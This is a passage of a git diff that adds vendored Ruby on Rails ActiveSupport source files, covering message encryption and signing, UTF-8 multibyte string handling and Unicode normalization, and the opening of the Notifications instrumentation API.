+ # Initialize a new MessageEncryptor. +secret+ must be at least as long as
+ # the cipher key size. For the default 'aes-256-cbc' cipher, this is 256
+ # bits. If you are using a user-entered secret, you can generate a suitable
+ # key with <tt>OpenSSL::Digest::SHA256.new(user_secret).digest</tt> or
+ # similar.
+ #
+ # Options:
+ # * <tt>:cipher</tt> - Cipher to use. Can be any cipher returned by
+ # <tt>OpenSSL::Cipher.ciphers</tt>. Default is 'aes-256-cbc'.
+ # * <tt>:serializer</tt> - Object serializer to use. Default is +Marshal+.
+ def initialize(secret, *signature_key_or_options)
+ options = signature_key_or_options.extract_options!
+ sign_secret = signature_key_or_options.first
+ @secret = secret
+ @sign_secret = sign_secret
+ @cipher = options[:cipher] || 'aes-256-cbc'
+ @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer)
+ @serializer = options[:serializer] || Marshal
+ end
+
+ # Encrypt and sign a message. We need to sign the message in order to avoid
+ # padding attacks. Reference: http://www.limited-entropy.com/padding-oracle-attacks.
+ def encrypt_and_sign(value)
+ verifier.generate(_encrypt(value))
+ end
+
+ # Decrypt and verify a message. We need to verify the message in order to
+ # avoid padding attacks. Reference: http://www.limited-entropy.com/padding-oracle-attacks.
+ def decrypt_and_verify(value)
+ _decrypt(verifier.verify(value))
+ end
+
+ private
+
+ def _encrypt(value)
+ cipher = new_cipher
+ cipher.encrypt
+ cipher.key = @secret
+
+ # Rely on OpenSSL for the initialization vector
+ iv = cipher.random_iv
+
+ encrypted_data = cipher.update(@serializer.dump(value))
+ encrypted_data << cipher.final
+
+ [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
+ end
+
+ def _decrypt(encrypted_message)
+ cipher = new_cipher
+ encrypted_data, iv = encrypted_message.split("--").map {|v| ::Base64.decode64(v)}
+
+ cipher.decrypt
+ cipher.key = @secret
+ cipher.iv = iv
+
+ decrypted_data = cipher.update(encrypted_data)
+ decrypted_data << cipher.final
+
+ @serializer.load(decrypted_data)
+ rescue OpenSSLCipherError, TypeError
+ raise InvalidMessage
+ end
+
+ def new_cipher
+ OpenSSL::Cipher::Cipher.new(@cipher)
+ end
+
+ def verifier
+ @verifier
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/message_verifier.rb b/activesupport/lib/active_support/message_verifier.rb
new file mode 100644
index 0000000..e0cd92a
--- /dev/null
+++ b/activesupport/lib/active_support/message_verifier.rb
@@ -0,0 +1,68 @@
+require 'base64'
+require 'active_support/core_ext/object/blank'
+
+module ActiveSupport
+ # +MessageVerifier+ makes it easy to generate and verify messages which are
+ # signed to prevent tampering.
+ #
+ # This is useful for cases like remember-me tokens and auto-unsubscribe links
+ # where the session store isn't suitable or available.
+ #
+ # Remember Me:
+ # cookies[:remember_me] = @verifier.generate([@user.id, 2.weeks.from_now])
+ #
+ # In the authentication filter:
+ #
+ # id, time = @verifier.verify(cookies[:remember_me])
+ # if time < Time.now
+ # self.current_user = User.find(id)
+ # end
+ #
+ # By default it uses Marshal to serialize the message. If you want to use
+ # another serialization method, you can set the serializer in the options
+ # hash upon initialization:
+ #
+ # @verifier = ActiveSupport::MessageVerifier.new('s3Krit', serializer: YAML)
+ class MessageVerifier
+ class InvalidSignature < StandardError; end
+
+ def initialize(secret, options = {})
+ @secret = secret
+ @digest = options[:digest] || 'SHA1'
+ @serializer = options[:serializer] || Marshal
+ end
+
+ def verify(signed_message)
+ raise InvalidSignature if signed_message.blank?
+
+ data, digest = signed_message.split("--")
+ if data.present? && digest.present? && secure_compare(digest, generate_digest(data))
+ @serializer.load(::Base64.decode64(data))
+ else
+ raise InvalidSignature
+ end
+ end
+
+ def generate(value)
+ data = ::Base64.strict_encode64(@serializer.dump(value))
+ "#{data}--#{generate_digest(data)}"
+ end
+
+ private
+ # constant-time comparison algorithm to prevent timing attacks
+ def secure_compare(a, b)
+ return false unless a.bytesize == b.bytesize
+
+ l = a.unpack "C#{a.bytesize}"
+
+ res = 0
+ b.each_byte { |byte| res |= byte ^ l.shift }
+ res == 0
+ end
+
+ def generate_digest(data)
+ require 'openssl' unless defined?(OpenSSL)
+ OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/multibyte.rb b/activesupport/lib/active_support/multibyte.rb
new file mode 100644
index 0000000..ffebd9a
--- /dev/null
+++ b/activesupport/lib/active_support/multibyte.rb
@@ -0,0 +1,21 @@
+module ActiveSupport #:nodoc:
+ module Multibyte
+ autoload :Chars, 'active_support/multibyte/chars'
+ autoload :Unicode, 'active_support/multibyte/unicode'
+
+ # The proxy class returned when calling mb_chars. You can use this accessor
+ # to configure your own proxy class so you can support other encodings. See
+ # the ActiveSupport::Multibyte::Chars implementation for an example how to
+ # do this.
+ #
+ # ActiveSupport::Multibyte.proxy_class = CharsForUTF32
+ def self.proxy_class=(klass)
+ @proxy_class = klass
+ end
+
+ # Returns the current proxy class.
+ def self.proxy_class
+ @proxy_class ||= ActiveSupport::Multibyte::Chars
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/multibyte/chars.rb b/activesupport/lib/active_support/multibyte/chars.rb
new file mode 100644
index 0000000..a42e7f6
--- /dev/null
+++ b/activesupport/lib/active_support/multibyte/chars.rb
@@ -0,0 +1,223 @@
+# encoding: utf-8
+require 'active_support/json'
+require 'active_support/core_ext/string/access'
+require 'active_support/core_ext/string/behavior'
+require 'active_support/core_ext/module/delegation'
+
+module ActiveSupport #:nodoc:
+ module Multibyte #:nodoc:
+ # Chars enables you to work transparently with UTF-8 encoding in the Ruby
+ # String class without having extensive knowledge about the encoding. A
+ # Chars object accepts a string upon initialization and proxies String
+ # methods in an encoding safe manner. All the normal String methods are also
+ # implemented on the proxy.
+ #
+ # String methods are proxied through the Chars object, and can be accessed
+ # through the +mb_chars+ method. Methods which would normally return a
+ # String object now return a Chars object so methods can be chained.
+ #
+ # 'The Perfect String '.mb_chars.downcase.strip.normalize # => "the perfect string"
+ #
+ # Chars objects are perfectly interchangeable with String objects as long as
+ # no explicit class checks are made. If certain methods do explicitly check
+ # the class, call +to_s+ before you pass chars objects to them.
+ #
+ # bad.explicit_checking_method 'T'.mb_chars.downcase.to_s
+ #
+ # The default Chars implementation assumes that the encoding of the string
+ # is UTF-8, if you want to handle different encodings you can write your own
+ # multibyte string handler and configure it through
+ # ActiveSupport::Multibyte.proxy_class.
+ #
+ # class CharsForUTF32
+ # def size
+ # @wrapped_string.size / 4
+ # end
+ #
+ # def self.accepts?(string)
+ # string.length % 4 == 0
+ # end
+ # end
+ #
+ # ActiveSupport::Multibyte.proxy_class = CharsForUTF32
+ class Chars
+ include Comparable
+ attr_reader :wrapped_string
+ alias to_s wrapped_string
+ alias to_str wrapped_string
+
+ delegate :<=>, :=~, :acts_like_string?, :to => :wrapped_string
+
+ # Creates a new Chars instance by wrapping _string_.
+ def initialize(string)
+ @wrapped_string = string
+ @wrapped_string.force_encoding(Encoding::UTF_8) unless @wrapped_string.frozen?
+ end
+
+ # Forward all undefined methods to the wrapped string.
+ def method_missing(method, *args, &block)
+ if method.to_s =~ /!$/
+ result = @wrapped_string.__send__(method, *args, &block)
+ self if result
+ else
+ result = @wrapped_string.__send__(method, *args, &block)
+ result.kind_of?(String) ? chars(result) : result
+ end
+ end
+
+ # Returns +true+ if _obj_ responds to the given method. Private methods
+ # are included in the search only if the optional second parameter
+ # evaluates to +true+.
+ def respond_to_missing?(method, include_private)
+ @wrapped_string.respond_to?(method, include_private)
+ end
+
+ # Returns +true+ when the proxy class can handle the string. Returns
+ # +false+ otherwise.
+ def self.consumes?(string)
+ string.encoding == Encoding::UTF_8
+ end
+
+ # Works just like <tt>String#split</tt>, with the exception that the items
+ # in the resulting list are Chars instances instead of String. This makes
+ # chaining methods easier.
+ #
+ # 'Café périferôl'.mb_chars.split(/é/).map { |part| part.upcase.to_s } # => ["CAF", " P", "RIFERÔL"]
+ def split(*args)
+ @wrapped_string.split(*args).map { |i| self.class.new(i) }
+ end
+
+ # Works like like <tt>String#slice!</tt>, but returns an instance of
+ # Chars, or nil if the string was not modified.
+ def slice!(*args)
+ chars(@wrapped_string.slice!(*args))
+ end
+
+ # Reverses all characters in the string.
+ #
+ # 'Café'.mb_chars.reverse.to_s # => 'éfaC'
+ def reverse
+ chars(Unicode.unpack_graphemes(@wrapped_string).reverse.flatten.pack('U*'))
+ end
+
+ # Limits the byte size of the string to a number of bytes without breaking
+ # characters. Usable when the storage for a string is limited for some
+ # reason.
+ #
+ # 'こんにちは'.mb_chars.limit(7).to_s # => "こん"
+ def limit(limit)
+ slice(0...translate_offset(limit))
+ end
+
+ # Converts characters in the string to uppercase.
+ #
+ # 'Laurent, où sont les tests ?'.mb_chars.upcase.to_s # => "LAURENT, OÙ SONT LES TESTS ?"
+ def upcase
+ chars Unicode.upcase(@wrapped_string)
+ end
+
+ # Converts characters in the string to lowercase.
+ #
+ # 'VĚDA A VÝZKUM'.mb_chars.downcase.to_s # => "věda a výzkum"
+ def downcase
+ chars Unicode.downcase(@wrapped_string)
+ end
+
+ # Converts characters in the string to the opposite case.
+ #
+ # 'El Cañón".mb_chars.swapcase.to_s # => "eL cAÑÓN"
+ def swapcase
+ chars Unicode.swapcase(@wrapped_string)
+ end
+
+ # Converts the first character to uppercase and the remainder to lowercase.
+ #
+ # 'über'.mb_chars.capitalize.to_s # => "Über"
+ def capitalize
+ (slice(0) || chars('')).upcase + (slice(1..-1) || chars('')).downcase
+ end
+
+ # Capitalizes the first letter of every word, when possible.
+ #
+ # "ÉL QUE SE ENTERÓ".mb_chars.titleize # => "Él Que Se Enteró"
+ # "日本語".mb_chars.titleize # => "日本語"
+ def titleize
+ chars(downcase.to_s.gsub(/\b('?\S)/u) { Unicode.upcase($1)})
+ end
+ alias_method :titlecase, :titleize
+
+ # Returns the KC normalization of the string by default. NFKC is
+ # considered the best normalization form for passing strings to databases
+ # and validations.
+ #
+ # * <tt>form</tt> - The form you want to normalize in. Should be one of the following:
+ # <tt>:c</tt>, <tt>:kc</tt>, <tt>:d</tt>, or <tt>:kd</tt>. Default is
+ # ActiveSupport::Multibyte::Unicode.default_normalization_form
+ def normalize(form = nil)
+ chars(Unicode.normalize(@wrapped_string, form))
+ end
+
+ # Performs canonical decomposition on all the characters.
+ #
+ # 'é'.length # => 2
+ # 'é'.mb_chars.decompose.to_s.length # => 3
+ def decompose
+ chars(Unicode.decompose(:canonical, @wrapped_string.codepoints.to_a).pack('U*'))
+ end
+
+ # Performs composition on all the characters.
+ #
+ # 'é'.length # => 3
+ # 'é'.mb_chars.compose.to_s.length # => 2
+ def compose
+ chars(Unicode.compose(@wrapped_string.codepoints.to_a).pack('U*'))
+ end
+
+ # Returns the number of grapheme clusters in the string.
+ #
+ # 'क्षि'.mb_chars.length # => 4
+ # 'क्षि'.mb_chars.grapheme_length # => 3
+ def grapheme_length
+ Unicode.unpack_graphemes(@wrapped_string).length
+ end
+
+ # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent
+ # resulting in a valid UTF-8 string.
+ #
+ # Passing +true+ will forcibly tidy all bytes, assuming that the string's
+ # encoding is entirely CP1252 or ISO-8859-1.
+ def tidy_bytes(force = false)
+ chars(Unicode.tidy_bytes(@wrapped_string, force))
+ end
+
+ def as_json(options = nil) #:nodoc:
+ to_s.as_json(options)
+ end
+
+ %w(capitalize downcase reverse tidy_bytes upcase).each do |method|
+ define_method("#{method}!") do |*args|
+ @wrapped_string = send(method, *args).to_s
+ self
+ end
+ end
+
+ protected
+
+ def translate_offset(byte_offset) #:nodoc:
+ return nil if byte_offset.nil?
+ return 0 if @wrapped_string == ''
+
+ begin
+ @wrapped_string.byteslice(0...byte_offset).unpack('U*').length
+ rescue ArgumentError
+ byte_offset -= 1
+ retry
+ end
+ end
+
+ def chars(string) #:nodoc:
+ self.class.new(string)
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/multibyte/unicode.rb b/activesupport/lib/active_support/multibyte/unicode.rb
new file mode 100644
index 0000000..cbc1608
--- /dev/null
+++ b/activesupport/lib/active_support/multibyte/unicode.rb
@@ -0,0 +1,403 @@
+# encoding: utf-8
+module ActiveSupport
+ module Multibyte
+ module Unicode
+
+ extend self
+
+ # A list of all available normalization forms.
+ # See http://www.unicode.org/reports/tr15/tr15-29.html for more
+ # information about normalization.
+ NORMALIZATION_FORMS = [:c, :kc, :d, :kd]
+
+ # The Unicode version that is supported by the implementation
+ UNICODE_VERSION = '6.2.0'
+
+ # The default normalization used for operations that require
+ # normalization. It can be set to any of the normalizations
+ # in NORMALIZATION_FORMS.
+ #
+ # ActiveSupport::Multibyte::Unicode.default_normalization_form = :c
+ attr_accessor :default_normalization_form
+ @default_normalization_form = :kc
+
+ # Hangul character boundaries and properties
+ HANGUL_SBASE = 0xAC00
+ HANGUL_LBASE = 0x1100
+ HANGUL_VBASE = 0x1161
+ HANGUL_TBASE = 0x11A7
+ HANGUL_LCOUNT = 19
+ HANGUL_VCOUNT = 21
+ HANGUL_TCOUNT = 28
+ HANGUL_NCOUNT = HANGUL_VCOUNT * HANGUL_TCOUNT
+ HANGUL_SCOUNT = 11172
+ HANGUL_SLAST = HANGUL_SBASE + HANGUL_SCOUNT
+ HANGUL_JAMO_FIRST = 0x1100
+ HANGUL_JAMO_LAST = 0x11FF
+
+ # All the unicode whitespace
+ WHITESPACE = [
+ (0x0009..0x000D).to_a, # White_Space # Cc [5] <control-0009>..<control-000D>
+ 0x0020, # White_Space # Zs SPACE
+ 0x0085, # White_Space # Cc <control-0085>
+ 0x00A0, # White_Space # Zs NO-BREAK SPACE
+ 0x1680, # White_Space # Zs OGHAM SPACE MARK
+ 0x180E, # White_Space # Zs MONGOLIAN VOWEL SEPARATOR
+ (0x2000..0x200A).to_a, # White_Space # Zs [11] EN QUAD..HAIR SPACE
+ 0x2028, # White_Space # Zl LINE SEPARATOR
+ 0x2029, # White_Space # Zp PARAGRAPH SEPARATOR
+ 0x202F, # White_Space # Zs NARROW NO-BREAK SPACE
+ 0x205F, # White_Space # Zs MEDIUM MATHEMATICAL SPACE
+ 0x3000, # White_Space # Zs IDEOGRAPHIC SPACE
+ ].flatten.freeze
+
+ # BOM (byte order mark) can also be seen as whitespace, it's a
+ # non-rendering character used to distinguish between little and big
+ # endian. This is not an issue in utf-8, so it must be ignored.
+ LEADERS_AND_TRAILERS = WHITESPACE + [65279] # ZERO-WIDTH NO-BREAK SPACE aka BOM
+
+ # Returns a regular expression pattern that matches the passed Unicode
+ # codepoints.
+ def self.codepoints_to_pattern(array_of_codepoints) #:nodoc:
+ array_of_codepoints.collect{ |e| [e].pack 'U*' }.join('|')
+ end
+ TRAILERS_PAT = /(#{codepoints_to_pattern(LEADERS_AND_TRAILERS)})+\Z/u
+ LEADERS_PAT = /\A(#{codepoints_to_pattern(LEADERS_AND_TRAILERS)})+/u
+
+ # Detect whether the codepoint is in a certain character class. Returns
+ # +true+ when it's in the specified character class and +false+ otherwise.
+ # Valid character classes are: <tt>:cr</tt>, <tt>:lf</tt>, <tt>:l</tt>,
+ # <tt>:v</tt>, <tt>:lv</tt>, <tt>:lvt</tt> and <tt>:t</tt>.
+ #
+ # Primarily used by the grapheme cluster support.
+ def in_char_class?(codepoint, classes)
+ classes.detect { |c| database.boundary[c] === codepoint } ? true : false
+ end
+
+ # Unpack the string at grapheme boundaries. Returns a list of character
+ # lists.
+ #
+ # Unicode.unpack_graphemes('क्षि') # => [[2325, 2381], [2359], [2367]]
+ # Unicode.unpack_graphemes('Café') # => [[67], [97], [102], [233]]
+ def unpack_graphemes(string)
+ codepoints = string.codepoints.to_a
+ unpacked = []
+ pos = 0
+ marker = 0
+ eoc = codepoints.length
+ while(pos < eoc)
+ pos += 1
+ previous = codepoints[pos-1]
+ current = codepoints[pos]
+ if (
+ # CR X LF
+ ( previous == database.boundary[:cr] and current == database.boundary[:lf] ) or
+ # L X (L|V|LV|LVT)
+ ( database.boundary[:l] === previous and in_char_class?(current, [:l,:v,:lv,:lvt]) ) or
+ # (LV|V) X (V|T)
+ ( in_char_class?(previous, [:lv,:v]) and in_char_class?(current, [:v,:t]) ) or
+ # (LVT|T) X (T)
+ ( in_char_class?(previous, [:lvt,:t]) and database.boundary[:t] === current ) or
+ # X Extend
+ (database.boundary[:extend] === current)
+ )
+ else
+ unpacked << codepoints[marker..pos-1]
+ marker = pos
+ end
+ end
+ unpacked
+ end
+
+ # Reverse operation of unpack_graphemes.
+ #
+ # Unicode.pack_graphemes(Unicode.unpack_graphemes('क्षि')) # => 'क्षि'
+ def pack_graphemes(unpacked)
+ unpacked.flatten.pack('U*')
+ end
+
+ # Re-order codepoints so the string becomes canonical.
+ def reorder_characters(codepoints)
+ length = codepoints.length- 1
+ pos = 0
+ while pos < length do
+ cp1, cp2 = database.codepoints[codepoints[pos]], database.codepoints[codepoints[pos+1]]
+ if (cp1.combining_class > cp2.combining_class) && (cp2.combining_class > 0)
+ codepoints[pos..pos+1] = cp2.code, cp1.code
+ pos += (pos > 0 ? -1 : 1)
+ else
+ pos += 1
+ end
+ end
+ codepoints
+ end
+
+ # Decompose composed characters to the decomposed form.
+ def decompose(type, codepoints)
+ codepoints.inject([]) do |decomposed, cp|
+ # if it's a hangul syllable starter character
+ if HANGUL_SBASE <= cp and cp < HANGUL_SLAST
+ sindex = cp - HANGUL_SBASE
+ ncp = [] # new codepoints
+ ncp << HANGUL_LBASE + sindex / HANGUL_NCOUNT
+ ncp << HANGUL_VBASE + (sindex % HANGUL_NCOUNT) / HANGUL_TCOUNT
+ tindex = sindex % HANGUL_TCOUNT
+ ncp << (HANGUL_TBASE + tindex) unless tindex == 0
+ decomposed.concat ncp
+ # if the codepoint is decomposable in with the current decomposition type
+ elsif (ncp = database.codepoints[cp].decomp_mapping) and (!database.codepoints[cp].decomp_type || type == :compatability)
+ decomposed.concat decompose(type, ncp.dup)
+ else
+ decomposed << cp
+ end
+ end
+ end
+
+ # Compose decomposed characters to the composed form.
+ def compose(codepoints)
+ pos = 0
+ eoa = codepoints.length - 1
+ starter_pos = 0
+ starter_char = codepoints[0]
+ previous_combining_class = -1
+ while pos < eoa
+ pos += 1
+ lindex = starter_char - HANGUL_LBASE
+ # -- Hangul
+ if 0 <= lindex and lindex < HANGUL_LCOUNT
+ vindex = codepoints[starter_pos+1] - HANGUL_VBASE rescue vindex = -1
+ if 0 <= vindex and vindex < HANGUL_VCOUNT
+ tindex = codepoints[starter_pos+2] - HANGUL_TBASE rescue tindex = -1
+ if 0 <= tindex and tindex < HANGUL_TCOUNT
+ j = starter_pos + 2
+ eoa -= 2
+ else
+ tindex = 0
+ j = starter_pos + 1
+ eoa -= 1
+ end
+ codepoints[starter_pos..j] = (lindex * HANGUL_VCOUNT + vindex) * HANGUL_TCOUNT + tindex + HANGUL_SBASE
+ end
+ starter_pos += 1
+ starter_char = codepoints[starter_pos]
+ # -- Other characters
+ else
+ current_char = codepoints[pos]
+ current = database.codepoints[current_char]
+ if current.combining_class > previous_combining_class
+ if ref = database.composition_map[starter_char]
+ composition = ref[current_char]
+ else
+ composition = nil
+ end
+ unless composition.nil?
+ codepoints[starter_pos] = composition
+ starter_char = composition
+ codepoints.delete_at pos
+ eoa -= 1
+ pos -= 1
+ previous_combining_class = -1
+ else
+ previous_combining_class = current.combining_class
+ end
+ else
+ previous_combining_class = current.combining_class
+ end
+ if current.combining_class == 0
+ starter_pos = pos
+ starter_char = codepoints[pos]
+ end
+ end
+ end
+ codepoints
+ end
+
+ # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent
+ # resulting in a valid UTF-8 string.
+ #
+ # Passing +true+ will forcibly tidy all bytes, assuming that the string's
+ # encoding is entirely CP1252 or ISO-8859-1.
+ def tidy_bytes(string, force = false)
+ if force
+ return string.unpack("C*").map do |b|
+ tidy_byte(b)
+ end.flatten.compact.pack("C*").unpack("U*").pack("U*")
+ end
+
+ bytes = string.unpack("C*")
+ conts_expected = 0
+ last_lead = 0
+
+ bytes.each_index do |i|
+
+ byte = bytes[i]
+ is_cont = byte > 127 && byte < 192
+ is_lead = byte > 191 && byte < 245
+ is_unused = byte > 240
+ is_restricted = byte > 244
+
+ # Impossible or highly unlikely byte? Clean it.
+ if is_unused || is_restricted
+ bytes[i] = tidy_byte(byte)
+ elsif is_cont
+ # Not expecting continuation byte? Clean up. Otherwise, now expect one less.
+ conts_expected == 0 ? bytes[i] = tidy_byte(byte) : conts_expected -= 1
+ else
+ if conts_expected > 0
+ # Expected continuation, but got ASCII or leading? Clean backwards up to
+ # the leading byte.
+ (1..(i - last_lead)).each {|j| bytes[i - j] = tidy_byte(bytes[i - j])}
+ conts_expected = 0
+ end
+ if is_lead
+ # Final byte is leading? Clean it.
+ if i == bytes.length - 1
+ bytes[i] = tidy_byte(bytes.last)
+ else
+ # Valid leading byte? Expect continuations determined by position of
+ # first zero bit, with max of 3.
+ conts_expected = byte < 224 ? 1 : byte < 240 ? 2 : 3
+ last_lead = i
+ end
+ end
+ end
+ end
+ bytes.empty? ? "" : bytes.flatten.compact.pack("C*").unpack("U*").pack("U*")
+ end
+
+ # Returns the KC normalization of the string by default. NFKC is
+ # considered the best normalization form for passing strings to databases
+ # and validations.
+ #
+ # * <tt>string</tt> - The string to perform normalization on.
+ # * <tt>form</tt> - The form you want to normalize in. Should be one of
+ # the following: <tt>:c</tt>, <tt>:kc</tt>, <tt>:d</tt>, or <tt>:kd</tt>.
+ # Default is ActiveSupport::Multibyte.default_normalization_form.
+ def normalize(string, form=nil)
+ form ||= @default_normalization_form
+ # See http://www.unicode.org/reports/tr15, Table 1
+ codepoints = string.codepoints.to_a
+ case form
+ when :d
+ reorder_characters(decompose(:canonical, codepoints))
+ when :c
+ compose(reorder_characters(decompose(:canonical, codepoints)))
+ when :kd
+ reorder_characters(decompose(:compatability, codepoints))
+ when :kc
+ compose(reorder_characters(decompose(:compatability, codepoints)))
+ else
+ raise ArgumentError, "#{form} is not a valid normalization variant", caller
+ end.pack('U*')
+ end
+
+ def downcase(string)
+ apply_mapping string, :lowercase_mapping
+ end
+
+ def upcase(string)
+ apply_mapping string, :uppercase_mapping
+ end
+
+ def swapcase(string)
+ apply_mapping string, :swapcase_mapping
+ end
+
+ # Holds data about a codepoint in the Unicode database.
+ class Codepoint
+ attr_accessor :code, :combining_class, :decomp_type, :decomp_mapping, :uppercase_mapping, :lowercase_mapping
+
+ def swapcase_mapping
+ uppercase_mapping > 0 ? uppercase_mapping : lowercase_mapping
+ end
+ end
+
+ # Holds static data from the Unicode database.
+ class UnicodeDatabase
+ ATTRIBUTES = :codepoints, :composition_exclusion, :composition_map, :boundary, :cp1252
+
+ attr_writer(*ATTRIBUTES)
+
+ def initialize
+ @codepoints = Hash.new(Codepoint.new)
+ @composition_exclusion = []
+ @composition_map = {}
+ @boundary = {}
+ @cp1252 = {}
+ end
+
+ # Lazy load the Unicode database so it's only loaded when it's actually used
+ ATTRIBUTES.each do |attr_name|
+ class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+ def #{attr_name} # def codepoints
+ load # load
+ @#{attr_name} # @codepoints
+ end # end
+ EOS
+ end
+
+ # Loads the Unicode database and returns all the internal objects of
+ # UnicodeDatabase.
+ def load
+ begin
+ @codepoints, @composition_exclusion, @composition_map, @boundary, @cp1252 = File.open(self.class.filename, 'rb') { |f| Marshal.load f.read }
+ rescue => e
+ raise IOError.new("Couldn't load the Unicode tables for UTF8Handler (#{e.message}), ActiveSupport::Multibyte is unusable")
+ end
+
+ # Redefine the === method so we can write shorter rules for grapheme cluster breaks
+ @boundary.each do |k,_|
+ @boundary[k].instance_eval do
+ def ===(other)
+ detect { |i| i === other } ? true : false
+ end
+ end if @boundary[k].kind_of?(Array)
+ end
+
+ # define attr_reader methods for the instance variables
+ class << self
+ attr_reader(*ATTRIBUTES)
+ end
+ end
+
+ # Returns the directory in which the data files are stored.
+ def self.dirname
+ File.dirname(__FILE__) + '/../values/'
+ end
+
+ # Returns the filename for the data file for this version.
+ def self.filename
+ File.expand_path File.join(dirname, "unicode_tables.dat")
+ end
+ end
+
+ private
+
+ def apply_mapping(string, mapping) #:nodoc:
+ string.each_codepoint.map do |codepoint|
+ cp = database.codepoints[codepoint]
+ if cp and (ncp = cp.send(mapping)) and ncp > 0
+ ncp
+ else
+ codepoint
+ end
+ end.pack('U*')
+ end
+
+ def tidy_byte(byte)
+ if byte < 160
+ [database.cp1252[byte] || byte].pack("U").unpack("C*")
+ elsif byte < 192
+ [194, byte]
+ else
+ [195, byte - 64]
+ end
+ end
+
+ def database
+ @database ||= UnicodeDatabase.new
+ end
+
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/notifications.rb b/activesupport/lib/active_support/notifications.rb
new file mode 100644
index 0000000..c45358b
--- /dev/null
+++ b/activesupport/lib/active_support/notifications.rb
@@ -0,0 +1,207 @@
+require 'active_support/notifications/instrumenter'
+require 'active_support/notifications/fanout'
+require 'active_support/per_thread_registry'
+
+module ActiveSupport
+ # = Notifications
+ #
+ # <tt>ActiveSupport::Notifications</tt> provides an instrumentation API for
+ # Ruby.
+ #
+ # == Instrumenters
+ #
+ # To instrument an event you just need to do:
+ #
+ # ActiveSupport::Notifications.instrument('render', extra: :information) do
+ # render text: 'Foo'
+ # end
+ #
+ # That executes the block first and notifies all subscribers once done.
+ #
+ # In the example above +render+ is the name of the event, and the rest is called
+ # the _payload_. The payload is a mechanism that allows instrumenters to pass
+ # extra information to subscribers. Payloads consist of a hash whose contents
+ # are arbitrary and generally depend on the event.
+ #
+ # == Subscribers
+ #
+ # You can consume those events and the information they provide by registering
+ # a subscriber.
+ #
+ # ActiveSupport::Notifications.subscribe('render') do |name, start, finish, id, payload|
+ # name # => String, name of the event (such as 'render' from above)
+ # start # => Time, when the instrumented block started execution
+ # finish # => Time, when the instrumented block ended execution
+ # id # => String, unique ID for this notification
+ # payload # => Hash, the payload
+ # end
+ #
+ # For instance, let's store all "render" events in an array:
+ #
+ # events = []
+ #
+ # ActiveSupport::Notifications.subscribe('render') do |*args|
+ # events << ActiveSupport::Notifications::Event.new(*args)
+ # end
+ #
+ # That code returns right away, you are just subscribing to "render" events.
+ # The block is saved and will be called whenever someone instruments "render":
+ #
+ # ActiveSupport::Notifications.instrument('render', extra: :information) do
+ # render text: 'Foo'
+ # end
+ #
+ # event = events.first
+ # event.name # => "render"
+ # event.duration # => 10 (in milliseconds)
+ # event.payload # => { extra: :information }
+ #
+ # The block in the <tt>subscribe</tt> call gets the name of the event, start
+ # timestamp, end timestamp, a string with a unique identifier for that event
+ # (something like "535801666f04d0298cd6"), and a hash with the payload, in
+ # that order.
+ #
+ # If an exception happens during that particular instrumentation the payload will
+ # have a key <tt>:exception</tt> with an array of two elements as value: a string with
+ # the name of the exception class, and the exception message.
+ #
+ # As the previous example depicts, the class <tt>ActiveSupport::Notifications::Event</tt>
+ # is able to take the arguments as they come and provide an object-oriented
+ # interface to that data.
+ #
+ # It is also possible to pass an object as the second parameter passed to the
+ # <tt>subscribe</tt> method instead of a block:
+ #
+ # module ActionController
+ # class PageRequest
+ # def call(name, started, finished, unique_id, payload)
+ # Rails.logger.debug ['notification:', name, started, finished, unique_id, payload].join(' ')
+ # end
+ # end
+ # end
+ #
+ # ActiveSupport::Notifications.subscribe('process_action.action_controller', ActionController::PageRequest.new)
+ #
+ # resulting in the following output within the logs including a hash with the payload:
+ #
+ # notification: process_action.action_controller 2012-04-13 01:08:35 +0300 2012-04-13 01:08:35 +0300 af358ed7fab884532ec7 {
+ # controller: "Devise::SessionsController",
+ # action: "new",
+ # params: {"action"=>"new", "controller"=>"devise/sessions"},
+ # format: :html,
+ # method: "GET",
+ # path: "/login/sign_in",
+ # status: 200,
+ # view_runtime: 279.3080806732178,
+ # db_runtime: 40.053
+ # }
+ #
+ # You can also subscribe to all events whose name matches a certain regexp:
+ #
+ # ActiveSupport::Notifications.subscribe(/render/) do |*args|
+ # ...
+ # end
+ #
+ # and even pass no argument to <tt>subscribe</tt>, in which case you are subscribing
+ # to all events.
+ #
+ # == Temporary Subscriptions
+ #
+ # Sometimes you do not want to subscribe to an event for the entire life of
+ # the application. There are two ways to unsubscribe.
+ #
+ # WARNING: The instrumentation framework is designed for long-running subscribers,
+ # use this feature sparingly because it wipes some internal caches and that has
+ # a negative impact on performance.
+ #
+ # === Subscribe While a Block Runs
+ #
+ # You can subscribe to some event temporarily while some block runs. For
+ # example, in
+ #
+ # callback = lambda {|*args| ... }
+ # ActiveSupport::Notifications.subscribed(callback, "sql.active_record") do
+ # ...
+ # end
+ #
+ # the callback will be called for all "sql.active_record" events instrumented
+ # during the execution of the block. The callback is unsubscribed automatically
+ # after that.
+ #
+ # === Manual Unsubscription
+ #
+ # The +subscribe+ method returns a subscriber object:
+ #
+ # subscriber = ActiveSupport::Notifications.subscribe("render") do |*args|
+ # ...
+ # end
+ #
+ # To prevent that block from being called anymore, just unsubscribe passing
+ # that reference:
+ #
+ # ActiveSupport::Notifications.unsubscribe(subscriber)
+ #
+ # == Default Queue
+ #
+ # Notifications ships with a queue implementation that consumes and publish events
+ # to log subscribers in a thread. You can use any queue implementation you want.
+ #
+ module Notifications
+ class << self
+ attr_accessor :notifier
+
+ def publish(name, *args)
+ notifier.publish(name, *args)
+ end
+
+ def instrument(name, payload = {})
+ if notifier.listening?(name)
+ instrumenter.instrument(name, payload) { yield payload if block_given? }
+ else
+ yield payload if block_given?
+ end
+ end
+
+ def subscribe(*args, &block)
+ notifier.subscribe(*args, &block)
+ end
+
+ def subscribed(callback, *args, &block)
+ subscriber = subscribe(*args, &callback)
+ yield
+ ensure
+ unsubscribe(subscriber)
+ end
+
+ def unsubscribe(args)
+ notifier.unsubscribe(args)
+ end
+
